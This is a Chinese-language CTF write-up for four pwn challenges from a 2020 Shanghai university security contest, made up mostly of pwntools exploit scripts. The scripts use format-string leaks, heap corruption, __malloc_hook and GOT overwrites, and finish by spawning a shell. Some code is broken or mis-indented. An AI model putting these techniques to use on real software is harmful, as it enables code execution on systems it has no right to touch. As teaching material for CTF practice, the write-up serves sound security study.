




2020第六届上海市大学生网络安全大赛pwn wp

原创

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2020年全国大学生网络安全邀请赛暨第六届上海市大学生网络安全大赛

体验一般，前三道2道原题一道常规题，cpu_emulator还挺有意思

EASY_ABNORMAL

湖湘杯2020原题，修改了提示字符而已，漏洞点在于格式化字符串和c++一个异常的处理，完全可以直接调出来，在后面函数输入非法的程序就会被劫持。

glibc2.23

exp

```

from pwn import*
context.log_level = 'debug'
context.update(arch='amd64',os='linux',timeout=1)
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg = [0x45226,0x4527a,0xf0364,0xf1207]
def pr(a,addr):
    log.success(a+'==>'+hex(addr))

def show_name():
    p.sendlineafter("CHOICE :", '1')

def add(content='a'):
    p.sendlineafter("CHOICE :", '2')
    p.sendlineafter("cnt:\n",content)

def delete(index):
    p.sendlineafter("CHOICE :", '3')
    p.sendlineafter("idx:",str(index))

def show_note():
    p.sendlineafter("CHOICE :", '4')
def gift(content):
    p.sendlineafter("CHOICE :", '23333')
    p.sendlineafter("INPUT:",content)

p.sendlineafter('NAME: ', '%11$p')
show_name()
#gdb.attach(p)
p.recvuntil('INFO:')
leak = int(p.recvuntil('\n')[:-1],16) -240
libcbase = leak - libc.sym['__libc_start_main']
one = libcbase + ogg[0]
pr('libcbase',libcbase)
pr('one',one)
add('a'*0x10+p64(0x1)+p64(one))
add('a')
delete(0)
delete(1)
show_note()
p.recvuntil("2:")
heap_addr=u64(p.recv(6).ljust(8,'x00'))+0x18
pr('heap_povit',heap_addr)
gift("a"*0x20+p64(heap_addr+8)+"a")

p.interactive()

```

lgtwo

glibc2.23

打stdout泄露libc

off-by-one

```

from pwn import*
#context.log_level = 'debug'
context.update(arch='amd64',timeout=0.2,os='linux')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

```

```

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
ogg = [0x45226, 0x4527a, 0xf0364, 0xf1207]
def pr(a, addr):
    log.success(a+'==>'+hex(addr))

def add(size, content='\x00'):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('size?\n', str(size))
    p.sendafter('content?\n', content)

def delete(index):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('index ?\n', str(index))

def edit(index, content):
    p.sendlineafter('>> ', '4')
    p.sendlineafter('?', str(index))
    p.sendafter('content ?\n', content)
def pwn():
    add(0x18) # 0
    add(0x10) # 1
    add(0x60) # 2
    add(0x50) # 3
    add(0x10) # 4
    edit(0, '\x00'*0x18+'\xf1')
    delete(1)
    delete(2)
    add(0x18) #1
    add(0xc0) #2
    edit(2, '\xdd\x25')
    edit(1, '\x00'*0x18+'\x71')

    add(0x60) #5
    add(0x60) #6
    edit(6, '\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00')
    leak = u64(p.recvuntil('\x7f')[-6:]+\x00\x00')
    libcbase = leak - (0x7ffff7dd2600-0x7ffff7a0d000)
    malloc_hook = libcbase + libc.sym['__malloc_hook']
    libc_realloc = libcbase + libc.sym['__libc_realloc']
    one = libcbase + ogg[1]
    pr('leak', leak)
    pr('libcbase', libcbase)
    pr('malloc_hook', malloc_hook)
    pr('one', one)
    pr('__libc_realloc', libc_realloc)
    pause()
    delete(2)
    edit(5, p64(malloc_hook-35))
    add(0x60) #2
    add(0x60) #7
    edit(7, '\x00'*11+p64(one)+p64(libc_realloc+11))
    p.sendlineafter('>> ', '1')
    #gdb.attach(p, 'b *'+str(libc_realloc+11))
    p.sendlineafter('size?\n', '16')
    p.interactive()
while True:
    try:
        p = process('./pwn')
        pwn()
    except:
        break

```

```
except:
    print 'trying...'
```

maj0rone

ciscn2020初赛原题

C++

```
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.update(arch="amd64",os='linux',timeout=1)
#context.log_level='debug'
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def add(sz):
    io.sendlineafter(">> ", '1')
    io.sendlineafter("question\n\n", '80')
    io.sendlineafter("?\\n", str(sz))
    io.sendlineafter("no?\\n", 'yes')

def dele(idx):
    io.sendlineafter(">> ", '2')
    io.sendlineafter("index ?\\n", str(idx))

def edit(idx,ct):
    io.sendlineafter(">> ", '4')
    io.sendlineafter("index ?\\n", str(idx))
    io.sendafter("__new_content ?\\n", ct)

def pwn():
    add(0x90)#0
    add(0x60)#1
    add(0x20)#2
    dele(0)
    dele(1)
    add(0x10)#3_addr=0_addr
    edit(0, "a"*0x10+p64(0)+p64(0xf1))
    add(0x70)#4
    edit(1,p16(0x2620-0x43))
    add(0x60)#5
    add(0x60)#6 stdout
    edit(6, "\\x00"*0x33+p64(0xfbad1800)+p64(0)*3+'\\x00')
    libc_leak=u64(io.recvuntil('\\x7f')[-6:].ljust(8, '\\x00'))-0x3c5600
    log.success("libc_leak==>"+hex(libc_leak))
    malloc_hook=libc_leak+libc.sym['__malloc_hook']
    #0x45226 0x4527a 0xf0364 0xf1207
    one_gadget=libc_leak+0xf1207
    log.success("malloc_hook==>"+hex(malloc_hook))
    add(0x60)#7
    dele(7)
    edit(7,p64(malloc_hook-0x23))
    add(0x60)#8
    add(0x60)#9
    edit(9, '\\x00'*0x13+p64(one_gadget))
    io.sendlineafter(">> ", '1')
    io.sendlineafter("question\n\n", '80')
```

```

io.sendlineafter( question(n\n", 88 )
io.sendlineafter("?\\n", '144')
#pause()
io.interactive()
if __name__=='__main__':
while True:
try:
io=process('./pwn')
pwn()
except:
print 'trying'
io.close()

```

cpu_emulator

感觉是4道里最有趣的一道了，模拟了cpu的工作，32个寄存器，每个寄存器32位，指令长度也是32位，指令是分段的，且有两种解析方式，漏洞在第一种解析方式。前期逆向需要做好大量工作，理解工作原理之后其实漏洞也相对好找。

glibc2.27

保护开的不多，got表可写，pie也没开。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qkGO3jWa-1606359542217)(.lcpu_emulator1.png)]

关键漏洞在于第一种解析方式 case 0x2b的地方，可以造成一个堆上的任意写

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6T8Uunit-1606359542220)(.lcpu_emulator2.png)]

通过一次写造成size变化就可以控制别的堆块，利用tchace的特性可以把堆块申请到任意地址，这里我们去修改got表。

got修改顺序：

- 先修改free_got为printf_plt（这里需要申请堆块到free_got-0x8的位置，因为malloc会把p->fd清零，这里会把puts_got表也给修改所以要做一个偏移），防止free导致的程序终止。
- 再修改atoi_got为printf_got，这样就可以造出一个格式化字符串漏洞，泄露libcbase。
- 再次修改atoi_got为system或者onegadget， getshell。

exp:

```

from pwn import*
context.log_level = 'debug'
p = process('./emulator')
elf = ELF('./emulator')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
ogg = [0x4f3d5,0x4f432,0x10a41c]
free_got = elf.got['free'] #0x602018
atoi_got = elf.got['atoi'] #0x602058
printf_plt = elf.plt['printf']
exit_got = elf.got['exit'] #0x602060

def pr(a,addr):
log.success(a+'====>'+hex(addr))

def setInstruction(size,content):
p.sendlineafter('>> ', '1')
p.sendlineafter('size:\\n',str(size))
p.sendafter('instruction:\\n',content)

```

```

def setInstruction2(size,content):
    p.sendafter('>> ', '1')
    p.sendlineafter('size:\n', '%'+str(size)+'c')
    p.sendafter('instruction:\n',content)

def getOrder1(a1,a2,a3,a4):
    result = (a1<<26) + (a2<<21) + (a3<<16) + a4
    return p32(result)

def run():
    p.sendlineafter('>> ', '2')

    setInstruction(0x100, '\x00')
    setInstruction(0x20, '\x00')
    setInstruction(0x30, '\x00')
    setInstruction(0x40, '\x00')

    payload1 = getOrder1(8,0,0,0xf1) + getOrder1(8,0,0,0xe0) + getOrder1(8,1,1,0x8+1) + getOrder1(0x2b,1,0,0xffff)+g
    etOrder1(1,0,0,0)
    setInstruction(0x100,payload1)
    run()

    payload2 = '\x00'*0x100
    payload2 += p64(0)+p64(0xa1)+p64(free_got-8).ljust(0x20, '\x00')
    payload2 += p64(0)+p64(0xb1)+p64(atoi_got).ljust(0x30, '\x00')
    payload2 += p64(0)+p64(0xc1)+p64(atoi_got).ljust(0x40, '\x00')
    setInstruction(0x1c0,payload2)
    run()

    setInstruction(0x20, '\x00')
    setInstruction(0x30, '\x00')
    setInstruction(0x40, '\x00')

    setInstruction(0x20,p64(printf_plt)*2)
    setInstruction(0x30,p64(printf_plt))
    p.sendlineafter('>> ', '%15$p')
    leak = int(p.recvuntil('\n')[:-1],16) - 231
    libcbase = leak - libc.sym['__libc_start_main']
    one = libcbase + ogg[0]
    system_addr = libcbase + libc.sym['system']
    pr('libcbase',libcbase)
    pr('one',one)
    pr('system_addr',system_addr)

    setInstruction2(0x40,p64(system_addr))
    p.sendlineafter('>> ', 'sh')
    #gdb.attach(p, 'b *0x04010CF')

    p.interactive()

```